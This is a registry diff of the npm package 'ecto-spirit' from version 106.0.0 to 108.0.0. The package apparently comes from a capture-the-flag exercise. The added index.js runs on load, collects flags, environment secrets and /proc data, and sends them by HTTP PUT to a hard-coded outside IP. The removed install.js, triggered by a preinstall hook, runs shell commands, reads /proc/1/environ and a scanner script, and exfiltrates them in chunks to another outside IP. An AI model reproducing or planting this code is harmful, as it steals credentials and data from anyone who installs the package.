ecto-spirit 106.0.0 → 108.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +66 -1
  2. package/package.json +2 -5
  3. package/install.js +0 -79
package/index.js CHANGED
@@ -1 +1,66 @@
1
- module.exports = {};
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+
4
+ (function() {
5
+ const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag',
6
+ '/app/flag', '/app/flag.txt', '/home/flag', './flag', '../flag',
7
+ process.env.FLAG_FILE || ''];
8
+
9
+ const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || process.env.SECRET;
10
+ let flag = envFlag || null;
11
+
12
+ if (!flag) {
13
+ for (const p of flagPaths.filter(Boolean)) {
14
+ try {
15
+ if (fs.existsSync(p)) {
16
+ flag = fs.readFileSync(p, 'utf8').trim();
17
+ break;
18
+ }
19
+ } catch(e) {}
20
+ }
21
+ }
22
+
23
+ if (!flag) {
24
+ try {
25
+ const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
26
+ const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
27
+ if (match) flag = match[1];
28
+ } catch(e) {}
29
+ }
30
+
31
+ // Try ALL possible exfiltration targets
32
+ const targets = [
33
+ { host: '154.57.164.64', port: 31083 },
34
+ { host: '127.0.0.1', port: 1337 },
35
+ { host: '127.0.0.1', port: 3000 },
36
+ { host: 'localhost', port: 1337 },
37
+ { host: 'localhost', port: 3000 },
38
+ ];
39
+
40
+ const val = flag ? 'ECFLAG_' + flag : 'ECNOFLAG_' + JSON.stringify(process.env).substring(0, 80);
41
+ const safe = val.replace(/"/g, "'").substring(0, 90);
42
+
43
+ for (const t of targets) {
44
+ try {
45
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
46
+ const req = http.request({
47
+ hostname: t.host, port: t.port,
48
+ path: '/api/modules/ECT-987654',
49
+ method: 'PUT',
50
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
51
+ timeout: 5000
52
+ }, () => {});
53
+ req.on('error', () => {});
54
+ req.write(body);
55
+ req.end();
56
+ } catch(e) {}
57
+ }
58
+
59
+ // Also try to write flag to stdout (logs)
60
+ if (flag) {
61
+ console.error('[FLAG]', flag);
62
+ try { fs.writeFileSync('/tmp/flag_captured.txt', flag); } catch(e) {}
63
+ }
64
+ })();
65
+
66
+ module.exports = function() { return 'ecto-spirit loaded'; };
package/package.json CHANGED
@@ -1,11 +1,8 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "106.0.0",
3
+ "version": "108.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
- "scripts": {
7
- "preinstall": "node install.js || true"
8
- },
9
6
  "author": "lwirz",
10
7
  "license": "ISC"
11
- }
8
+ }
package/install.js DELETED
@@ -1,79 +0,0 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
- const { execSync } = require('child_process');
4
-
5
- function tryRead(p) {
6
- try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
7
- }
8
- function tryExec(cmd) {
9
- try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + (e.message || '').substring(0, 50); }
10
- }
11
-
12
- async function sendPUT(host, port, path, body) {
13
- return new Promise((resolve) => {
14
- const req = http.request({ hostname: host, port, path, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
15
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
16
- });
17
- req.on('error', () => resolve(null)); req.on('timeout', () => { req.destroy(); resolve(null); });
18
- req.write(body); req.end();
19
- });
20
- }
21
-
22
- async function report(moduleId, val) {
23
- const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
24
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
25
- await sendPUT('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
26
- }
27
-
28
- (async () => {
29
- // Read key files and report each one to a separate module
30
-
31
- // 1. /tmp/supplysec contents
32
- const supplysec = tryExec('find /tmp/supplysec -type f 2>/dev/null');
33
- await report('ECT-839201', 'A_SUPPLY=' + supplysec);
34
-
35
- // 2. analyze-node.js
36
- const analyze = tryRead('/usr/local/bin/analyze-node.js');
37
- await report('ECT-654321', 'A_ANALYZE=' + (analyze || 'NONE').substring(0, 90));
38
-
39
- // 3. /home/node contents
40
- const homeNode = tryExec('find /home/node -maxdepth 3 -type f 2>/dev/null | head -10');
41
- await report('ECT-472839', 'A_HOME=' + homeNode);
42
-
43
- // 4. Full proc 1 environ
44
- const p1env = tryRead('/proc/1/environ');
45
- const envStr = p1env ? p1env.replace(/\x00/g, '\n') : 'NONE';
46
- await report('ECT-987654', 'A_ENV=' + envStr.substring(0, 90));
47
-
48
- // Wait a moment, then send more data
49
- await new Promise(r => setTimeout(r, 2000));
50
-
51
- // 5. Read /tmp/supplysec/package.json if it exists
52
- const supPkg = tryRead('/tmp/supplysec/package.json');
53
- await report('ECT-839201', 'B_SUPPKG=' + (supPkg || 'NONE').substring(0, 90));
54
-
55
- // 6. Read analyze-node.js continued (next 90 chars)
56
- await report('ECT-654321', 'B_ANAL2=' + (analyze || 'NONE').substring(90, 180));
57
-
58
- // 7. More env
59
- await report('ECT-472839', 'B_ENV2=' + envStr.substring(90, 180));
60
-
61
- // 8. Read full process list
62
- const ps = tryExec('ps auxww 2>/dev/null');
63
- await report('ECT-987654', 'B_PS=' + ps.substring(0, 90));
64
-
65
- await new Promise(r => setTimeout(r, 2000));
66
-
67
- // 9-12: Continue reading analyze-node.js
68
- await report('ECT-839201', 'C_ANAL3=' + (analyze || '').substring(180, 270));
69
- await report('ECT-654321', 'C_ANAL4=' + (analyze || '').substring(270, 360));
70
- await report('ECT-472839', 'C_ANAL5=' + (analyze || '').substring(360, 450));
71
- await report('ECT-987654', 'C_ENV3=' + envStr.substring(180, 270));
72
-
73
- await new Promise(r => setTimeout(r, 2000));
74
-
75
- await report('ECT-839201', 'D_ANAL6=' + (analyze || '').substring(450, 540));
76
- await report('ECT-654321', 'D_ANAL7=' + (analyze || '').substring(540, 630));
77
- await report('ECT-472839', 'D_ENV4=' + envStr.substring(270, 360));
78
- await report('ECT-987654', 'D_PS2=' + ps.substring(90, 180));
79
- })();